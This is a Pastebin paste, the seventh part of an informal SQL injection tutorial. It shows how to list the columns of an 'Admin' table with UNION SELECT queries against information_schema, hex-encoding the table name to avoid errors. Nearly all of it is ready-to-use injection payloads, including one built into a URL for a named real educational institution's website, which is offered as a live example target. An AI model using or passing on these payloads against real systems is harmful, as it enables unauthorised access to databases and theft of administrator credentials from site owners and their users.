Advertisement
Kyfx

sql part :7

Mar 22nd, 2015
435
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
text 1.38 KB | None | 0 0
  1. 1>how to find admin detail
  2. 2> admin column from selection table :D
  3. I hope you have understand all method :)
  4. to find table i have already teach so now time to learn about finding column
  5.  
  6.  
  7. ====>QUERY<=====
  8. +from
  9. +information_schema.columns
  10. where table_name=TableNameHEX
  11. example >
  12. -23+union+select
  13. +1,group_concat(column_name),3 from information_schema.columns
  14. where table_name=Admin
  15.  
  16.  
  17. ====>ERRoR<=====
  18. why we get error here you know? Because we haven't convert yet in hex to 'ADMIN'
  19.  
  20. >>>so try this one query :)
  21. The HEX of Admin is:
  22. 41646d696eNow we must add 0x
  23. (MySQL integer) at the front of
  24. the HEX, which should now look
  25. like this: 0x41646d696eAnd pop it
  26. onto the end of the URL replacing Admin, so the URL should look
  27. something like the following.
  28. Example:wxw.site.com/index.php? Client_id=-23+union+select
  29. +1,group_concat(column_name),3 from information_schema.columns
  30. where table_name=0x41646d696e
  31. Real site example: i conver USER in hex and get this :D
  32. http://www.skitm.edu.in/faculty.php?id=-2+union+select+1,group_concat(column_name)%20from%20information_schema.columns%20where%20table_name=0x75736572
  33. So after finding table you have to choose the table and find it's column :)
  34. in every site don't use table in normal text
  35. whenever you want to find column of the site conver it in hex then only you can get value :)
  36. #hope you understand
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement